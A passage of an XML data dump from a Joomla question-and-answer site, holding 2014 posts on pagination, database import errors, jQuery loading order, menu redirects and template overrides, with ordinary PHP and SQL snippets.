&amp;lt;td&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;a href=&quot;http://&amp;lt;?php echo $host.'/'.$item-&amp;gt;username;?&amp;gt;&quot; target='_blank'&amp;gt;&amp;lt;?php echo $item-&amp;gt;username; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;defaultfoot&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;      &amp;lt;td colspan=&quot;3&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1513" OwnerDisplayName="user3123796" LastEditorUserId="1629" LastEditDate="2014-12-04T04:58:58.817" LastActivityDate="2015-08-16T10:22:18.057" Title="Joomla 2.5 back end pagination is not working properly" Tags="|joomla-2.5|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1169" PostTypeId="1" CreationDate="2014-06-03T14:39:25.917" Score="0" ViewCount="5245" Body="&lt;p&gt;When I importing from a &amp;quot;working&amp;quot; Joomla! DB I get this error: #1062 - Duplicate entry '1' for key 'PRIMARY'&lt;/p&gt;&#xA;&lt;p&gt;The complete error is:&#xA;-- -- Dumping data for table &lt;code&gt;azzdx_ak_profiles&lt;/code&gt; -- INSERT INTO &lt;code&gt;azzdx_ak_profiles&lt;/code&gt; (&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;configuration&lt;/code&gt;, &lt;code&gt;filters&lt;/code&gt;) VALUES (1, 'Default Backup Profile', '###AES128###pd8vwi ....&lt;/p&gt;&#xA;&lt;h1&gt;1062 - Duplicate entry '1' for key 'PRIMARY'&lt;/h1&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I checked the profiles table but Auto_Increment was enable. I'm working on localhost. The old database working fine. I just copied it, I mean exported all the tables. Then, I created a blank SQL DB and tried to import. But import was unsuccesfull.&lt;/p&gt;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerDisplayName="user3703465" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-25T04:01:33.400" Title="#1062 - Duplicate entry '1' for key 'PRIMARY' Joomla" Tags="|cms|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1170" PostTypeId="1" CreationDate="2014-06-03T11:47:49.903" Score="1" ViewCount="1338" Body="&lt;p&gt;I'm trying to edit the Registration email admins get when users sign up. &#xA;I'm using a plugin called www.easy-profile.com which allowed me to add additional fields to the registration that I've called &quot;Company&quot; however it doesn't add these to the email so the admin can see what company the user is signing up with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've then tired to add &quot;components/com_users/models/registration.php&quot; $[company] but this breaks the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this added?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy Profile developer has said the following:&#xA;&quot;Hi,&#xA;Easy profile extend Joomla user managment but not replace. This email us generated by joomla. And no way to change it.&#xA;You can disable this from users configuration and create a simple plugin to do this (require basic PHP knowledge).&quot;&lt;/p&gt;&#xA;" OwnerUserId="1623" OwnerDisplayName="lee murphy" LastEditorUserId="159" LastEditDate="2014-10-07T11:22:55.763" LastActivityDate="2015-09-06T14:25:15.320" Title="How to add extra fields to the activation email?" Tags="|user|emails|profile|email-template|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1171" PostTypeId="1" AcceptedAnswerId="4023" CreationDate="2014-06-04T08:16:23.670" Score="2" ViewCount="441" Body="&lt;p&gt;How is it possible to size formfield widths for Joomlas Protostar Template?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;titel&quot;&#xA;type=&quot;text&quot;&#xA;label=&quot;COM_COMPONENT_TITEL_LABEL&quot;&#xA;description=&quot;COM_COMPONENT_TITEL_DESC&quot;&#xA;class=&quot;inputbox&quot;&#xA;size=&quot;45&quot;&#xA;required=&quot;false&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried different possibilities, but none of them are working.&#xA;class=&quot;inputbox span3&quot;, size=&quot;10&quot;, &quot;input.span3&quot;, &quot;inputbox.span3&quot;, size=&quot;span3&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx, Perino&lt;/p&gt;&#xA;" OwnerUserId="463" OwnerDisplayName="Perino" LastEditorUserId="115" LastEditDate="2014-06-08T08:44:53.090" LastActivityDate="2014-08-13T06:16:31.787" Title="joomla protostar formfield width responsivness" Tags="|cms|css|form|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1172" PostTypeId="2" ParentId="1169" CreationDate="2014-06-08T00:43:22.697" Score="2" Body="&lt;p&gt;This is &quot;a quick and dirty suggestion&quot;:&lt;br /&gt;&#xA;Check to see how many ak_profiles exist in your dumb-file, with same id. If more than 1, then remove the duplicates, save the file and try again to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it's working in your site, the table may have an inconsistency, manually check it to remove a duplicated entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUICK TRICK&lt;/strong&gt;: Change INSERT INTO with REPLACE INTO. It works as an Insert or Update.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="174" LastEditDate="2014-06-08T14:23:05.067" LastActivityDate="2014-06-08T14:23:05.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostTypeId="1" AcceptedAnswerId="1174" CreationDate="2014-06-08T03:45:19.210" Score="1" ViewCount="2814" Body="&lt;p&gt;So I'm working on my a new component and I want to be able to route to a menu item when access is denied for a certain action. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a menu_id field in my table and I'm using the menuitem form field type to store the menu itemId.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that I would be able to use the controllers setRedirect function like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($isRestricted &amp;amp;&amp;amp; !$canDownload)&#xA;{&#xA;    $msg = $this-&amp;gt;translate('COM_BABELU_PRODUCTS_DL_NOT_AUTHORISED');&#xA;    $this-&amp;gt;setRedirect('index.php?itemId=101', $msg, 'warning');&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it didn't work. it just appended the item id to the route &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/previous-menu-item-alias?itemId=101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This didn't even load the view associated with the menu item with the ID 101.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to specify the entire route? I.E. lookup the link from the #__menus table and then call JRoute with that value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has exp with this I would really appreciate any information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----Edit ---&#xA;I've done this before by querying the #__menus table directly and getting the link value then pushing that into JRoute. However I don't like the idea of querying the table directly because it creates a direct dependency. What I really want to know is how to get the link value without touching the #__menus table, or if there is a way to direct to a menu item using only the itemId. &lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2014-06-08T10:11:15.583" LastActivityDate="2017-02-27T23:16:58.150" Title="What is the proper way to set the route to a menu item from within a component?" Tags="|joomla-3.x|joomla-2.5|component|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1174" PostTypeId="2" ParentId="1173" CreationDate="2014-06-08T11:14:05.400" Score="3" Body="&lt;p&gt;Okay. I found the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First to get the item information without querying the &lt;code&gt;#__menus&lt;/code&gt; table use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$item = $menu-&amp;gt;getItem($itemId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the redirect is a little difficult, because I want to use the proper route, but if I just send the route to JRoute, I end up with an error because &lt;code&gt;JRoute&lt;/code&gt; just appends the url content to the current active item. The below example is being called from the controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //current url = http://mysite.com/product&#xA; //$item-&amp;gt;route = my-page &#xA;&#xA;$this-&amp;gt;setRedirect(JRoute::_($item-&amp;gt;route));&#xA;$this-&amp;gt;redirect();&#xA;&#xA;&#xA;//resulting url = http://mysite.com/product/my-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This of course throws a 404 because this route doesn't exist. &quot;product&quot; is part of my component &quot;my-page&quot; is a com_content article item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can get around this by adding the URI:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$route = $item-&amp;gt;route;&#xA;If((int)$item-&amp;gt;home === 1)// its the home menu item, so clear the route&#xA;{&#xA;    $route = '';&#xA;}&#xA;&#xA;$this-&amp;gt;setRedirect(JURI::base().$route);&#xA;$this-&amp;gt;redirect();&#xA;&#xA;// resulting url = http://mysite.com/my-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tested this with the &lt;code&gt;$item-&amp;gt;link&lt;/code&gt; vs the &lt;code&gt;$item-&amp;gt;route&lt;/code&gt; and it seems to work the same. It is probably better to use the link, just in case the site isn't using search engine friendly URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="9637" LastEditDate="2017-02-27T23:16:58.150" LastActivityDate="2017-02-27T23:16:58.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1175" PostTypeId="1" AcceptedAnswerId="2186" CreationDate="2014-06-08T16:59:44.443" Score="1" ViewCount="1027" Body="&lt;p&gt;Hi I'm trying to write a content plugin that will only show articles written by the currently logged in user in the category view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the onContentPrepare and onContentBeforeDisplay triggers I can Identify the currently logged in user and whether the article belongs to them quite simply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step &lt;strong&gt;Not displaying the article&lt;/strong&gt; is much trickier and I have not been able to figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to easily NOT show an article using these plugin triggers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, here's the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentBeforeDisplay($context, &amp;amp;$article, &amp;amp;$params, $limit=0)&#xA;     {&#xA;&#xA;            $name = JFactory::getUser()-&amp;gt;name;&#xA;            $author = $article-&amp;gt;author;&#xA;            if ($author != $name) {&#xA;                /*  ?   */&#xA;            }&#xA;&#xA;            // var_dump($article);&#xA;            // var_dump($params);&#xA;            // var_dump($context);&#xA;            return &quot;&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2014-06-08T17:24:21.170" LastActivityDate="2017-11-18T23:37:55.667" Title="Only show articles by current user in category view using plugin" Tags="|user|plugin|articles|view|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="1" CreationDate="2014-06-08T19:54:07.427" Score="5" ViewCount="758" Body="&lt;p&gt;I'm part of a committee that run a free conference in the UK across events around the country and we have a joomla site for advertising the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditionally, each event has had just a single track of speakers and we were able to bumble along with some simple html tables on individual pages.  However, with each event now being multiple tracks and doing a call for speakers our events have become significantly harder to manage and maintain accurate schedules/agenda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions I'm considering are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A calendar extension - this would enable to addition of lots of unique appointments for each session but would be difficult to maintain due to the vast array of appointments it would create&lt;/li&gt;&#xA;&lt;li&gt;An event extension - this would create specific events, allow me to add maps etc but looking at the two which seemed most popular (ohanah and jevents) did not have demos which included agendas&lt;/li&gt;&#xA;&lt;li&gt;Continuing on with my poor html tables&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm hoping that some here has experienced a similar problem and found a satisfying solution (ideally in the form of an extension) that they can share&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTbO8.png&quot; alt=&quot;sqlbits agenda&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FYlwE.png&quot; alt=&quot;sqlsaturday agenda&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1497" LastActivityDate="2018-07-16T04:30:58.393" Title="How to display multi-day multi-track conference on Joomla with an emphasis on maintainability" Tags="|extensions|jevents|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostTypeId="2" ParentId="2176" CreationDate="2014-06-09T01:39:44.750" Score="0" Body="&lt;p&gt;It's not a joomla specific solution, but you might want to look at &lt;a href=&quot;http://sched.org&quot; rel=&quot;nofollow&quot;&gt;sched.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use it for a large conference with multiple rooms/speakers and it can be embedded into any web page. It's about $200 per event though, so it's quite a bit more than just buying an extension. It does have other benefits, such as adding speaker bios and even exhibitors, and you can even allow people to sign up for their own sched.org account which allows them to flag sessions they like and make their own personal agenda.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-09T01:39:44.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="1" AcceptedAnswerId="2194" CreationDate="2014-06-09T02:17:07.220" Score="11" ViewCount="10182" Body="&lt;p&gt;I use &lt;code&gt;JHtml::script&lt;/code&gt; to add scripts to my pages in a custom-developed module. However, these scripts are injected into the head before J3 adds in jQuery - for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- my module js --&amp;gt;&#xA;&amp;lt;script src=&quot;/modules/mod_tiles/js/jquery.isotope.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/modules/mod_tiles/js/jquery.hoverintent.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/modules/mod_tiles/js/mod_tiles.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- then joomla loads jQuery ---&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery-noconflict.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I force Joomla to load jQuery before any other scripts?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2016-08-13T13:26:41.687" Title="Jhtml::script order - how to postpone until jQuery has been loaded?" Tags="|joomla-3.x|jquery|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="1" CreationDate="2014-06-09T02:21:52.677" Score="6" ViewCount="426" Body="&lt;p&gt;As a regular user of stackexchange, I really like the markdown editor we have here. With some &lt;a href=&quot;https://mathematica.meta.stackexchange.com/q/1043/187&quot;&gt;additional buttons&lt;/a&gt; it is really fun to write articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my Joomla page on the other hand, I usually use the JCE editor which has lots of buttons. However, for including code (I use google codeprettify as well) I still have to switch to html view and input the &lt;code&gt;pre&lt;/code&gt; tags manually. Additionally, using the usual markdown wrappings for &lt;em&gt;italics&lt;/em&gt;, &lt;strong&gt;bold&lt;/strong&gt;, &lt;code&gt;inline code&lt;/code&gt;, etc. is faster than pressing some button, so I would like to use this instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is someone using markdown actively with Joomla and can give some tips? Is it possible to have the same editor as here on SE? Additionally, I'm interested in how I can get code blocks working. I tried the &lt;a href=&quot;http://ext.asikart.com/extensions/asikart-markdown.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACE X Markdown Editor (AMD)&lt;/a&gt; and this didn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="7394" LastEditDate="2020-05-14T20:19:15.060" LastActivityDate="2020-05-14T20:19:15.060" Title="Markdown editor like on stackexchange" Tags="|editor|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2180" PostTypeId="2" ParentId="2179" CreationDate="2014-06-09T08:29:51.460" Score="2" Body="&lt;p&gt;Have you seen:&#xA;&lt;a href=&quot;https://yoonique.net/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=35&amp;amp;category_id=16&amp;amp;Itemid=118&quot; rel=&quot;nofollow&quot;&gt;https://yoonique.net/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=35&amp;amp;category_id=16&amp;amp;Itemid=118&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used it myself, so can't comment on it's usefulness but I have used one or two of their other products and they are great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also has this plugin which converts Markdown Extra.&#xA;&lt;a href=&quot;https://yoonique.net/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=36&amp;amp;category_id=16&amp;amp;Itemid=118&quot; rel=&quot;nofollow&quot;&gt;https://yoonique.net/index.php?option=com_zoo&amp;amp;task=item&amp;amp;item_id=36&amp;amp;category_id=16&amp;amp;Itemid=118&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-09T08:29:51.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="1" AcceptedAnswerId="4417" CreationDate="2014-06-09T08:29:56.073" Score="1" ViewCount="2495" Body="&lt;p&gt;I am running Joomla 3.3.0 on a VPS and it is extremely slow. In fact, it's the slowest I've ever seen Joomla load before (Can take upto 5 minutes to load the article editor!!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be causing it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components installed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JCE Editor&lt;/li&gt;&#xA;&lt;li&gt;K2&lt;/li&gt;&#xA;&lt;li&gt;Mosets Tree&lt;/li&gt;&#xA;&lt;li&gt;Xmap&lt;/li&gt;&#xA;&lt;li&gt;Akeeba Admin Tools&lt;/li&gt;&#xA;&lt;li&gt;Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;JComments&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Running on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Version  5.3.10-1ubuntu3.11&lt;/li&gt;&#xA;&lt;li&gt;Database Version     5.5.35-0ubuntu0.12.04.2&lt;/li&gt;&#xA;&lt;li&gt;Web Server   Apache/2.2.22 (Ubuntu)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have tried disabling various plugins/extensions one by one but this doesn't seem to have solved it. I have also optimised the tables in the database (initially concentrating on the article tables) but again this didn't seem to make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-11T15:28:29.123" Title="Joomla 3.3.0 very slow" Tags="|mysql|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostTypeId="2" ParentId="2181" CreationDate="2014-06-09T08:33:50.090" Score="1" Body="&lt;p&gt;The server specs seem perfectly fine and there's no reason why the extensions you have should be slowing down your site. All you have to ensure is you have the latest version of each one running. This seems like a server related issue rather than the site itself. It might be various reasons such as too much traffic for the server to handle, server issues at the host data center and so forth. It could simply be down to a really bad host. Not sure if you chose the cheap path or not but there always seems to be a catch with cheap hosting. Might be worth contacting your hosting provider to see if they can detect any issues.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-09T08:33:50.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="2" ParentId="2181" CreationDate="2014-06-09T08:40:42.207" Score="0" Body="&lt;p&gt;If it's a cheap VPS with low memory (RAM) you may be hitting some problems - try Joomla's debug / memory profiler (enable Debug in Global Configuration) and take a look there. I've had similar issues with ultra-low cost VPS providers and running out of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache being slammed could also cause this - this'll slow your site to a crawl as well.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-06-09T08:40:42.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="2" ParentId="2178" CreationDate="2014-06-09T09:09:10.633" Score="0" Body="&lt;p&gt;This is probably due to the method that the developer of &lt;code&gt;mod_tiles&lt;/code&gt; has used to import the scripts. I assume they haven't stuck to Joomla coding standards in this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 2 options (that I can think of) hwre:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the scripts are being imported from a file within the &lt;strong&gt;tmpl&lt;/strong&gt; folder within the module, you can perform a &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; and change the way the script are being imported, using &lt;code&gt;JHtml&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can download and install &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/18327&quot; rel=&quot;nofollow&quot;&gt;jQuery Easy&lt;/a&gt; which is a plugin that imports jQuery and places it above all other scripts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-09T09:09:10.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="2" ParentId="2178" CreationDate="2014-06-09T09:49:59.287" Score="2" Body="&lt;p&gt;if I read your question correctly, you are developing your own module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, in default.php - the view of the module (in &quot;tmpl&quot; ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::stylesheet('modules/'.$module-&amp;gt;module.'/assets/css/yourfile.css');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::script('modules/'.$module-&amp;gt;module.'/assets/js/yourscript.js');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::_('stylesheet', 'modules/'.$module-&amp;gt;module.'/assets/css/anotherfile.css');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::_('script', 'modules/'.$module-&amp;gt;module.'/assets/js/othercript.js');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both case, your JS file(s) should be injected after jQuery, providing that you created an &quot;asset&quot; folder, and a &quot;css&quot; and a &quot;js&quot; folder inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second solution is more in accordance with joomla 3.X.X API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2014-06-09T09:49:59.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2186" PostTypeId="2" ParentId="1175" CreationDate="2014-06-09T10:05:18.003" Score="4" Body="&lt;p&gt;You do not need a plugin for that. Just &lt;a href=&quot;http://www.ostraining.com/blog/joomla/overrides/&quot; rel=&quot;nofollow&quot;&gt;override&lt;/a&gt; a category view and put your check there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example for the Blog view override &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/tmpl/blog.php&quot; rel=&quot;nofollow&quot;&gt;blog.php&lt;/a&gt; and around line 60 make your check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;created_by == JFactory::getUser()-&amp;gt;id) :&#xA;    echo $this-&amp;gt;loadTemplate('item');&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is of course just an example, but it shows the power of overriding. Hope this will help.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-06-09T10:05:18.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2187" PostTypeId="2" ParentId="1175" CreationDate="2014-06-09T11:44:59.087" Score="1" Body="&lt;p&gt;The plugin alone cannot solve to problem but it can be used to add a field with the currently logged in user to the article parameters and in the view where the category list is generated a simple if statement is required to prevent adding articles by other users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentBeforeDisplay($context, &amp;amp;$article, &amp;amp;$params, $limit=0)&#xA;     {&#xA;            $name = JFactory::getUser()-&amp;gt;name;&#xA;            $article-&amp;gt;logged_in = $name;&#xA;            // var_dump($params);&#xA;            return &quot;&quot;;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried $params-&gt;set('logged_in', $name); but it wouldn't work in the view so I had to add it to the $article parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The view to edit is joomla/components/com_content/views/category/tmpl/default_article.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;underneath this line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $article) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;items[$i]-&amp;gt;author == $this-&amp;gt;items[$i]-&amp;gt;logged_in) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;close the if statement at the bottom and that's it now the table will only show articles authored by the current user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Dimitri's answer I now see you should be able to access the user in the view files directly without the plugin at all and you should use an override instead of directly modify the view files. &lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2014-06-09T11:53:41.703" LastActivityDate="2014-06-09T11:53:41.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostTypeId="1" CreationDate="2014-06-09T13:17:22.517" Score="1" ViewCount="220" Body="&lt;p&gt;In joomla 2.5 people are asking problems on jquery when there are various extensions in a page. The question is as a extension developer how do we use jquery in j2.5 extension ??, considering that other extensions also declares jquery file and jquery no-conflict codes and there are some developers not care about it or don't know and use jquery their own way so is jquery not works in extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i should check jfactory-&gt;getapplication-&gt;get('jquery') but it's not enough as i mentioned above.So among the following which is right way to use jquery declaring jquery script file(as i said above why i should declare) - &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;nc_mode = jQuery.noConflict(); nc_mode(function(){ ...... });&lt;/li&gt;&#xA;&lt;li&gt;jQuery.noConflict(); jQuery(function(){ ....});&lt;/li&gt;&#xA;&lt;li&gt;Using only jQuery - jQuery(function(){ ....});&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's very much necessary to resolve it right way because usage of jquery is very common in extensions.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="52" LastEditDate="2014-07-30T20:42:20.070" LastActivityDate="2014-07-30T20:42:20.070" Title="Most common and unresolved problem when using jquery in J2.5 extensions" Tags="|joomla-2.5|jquery|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
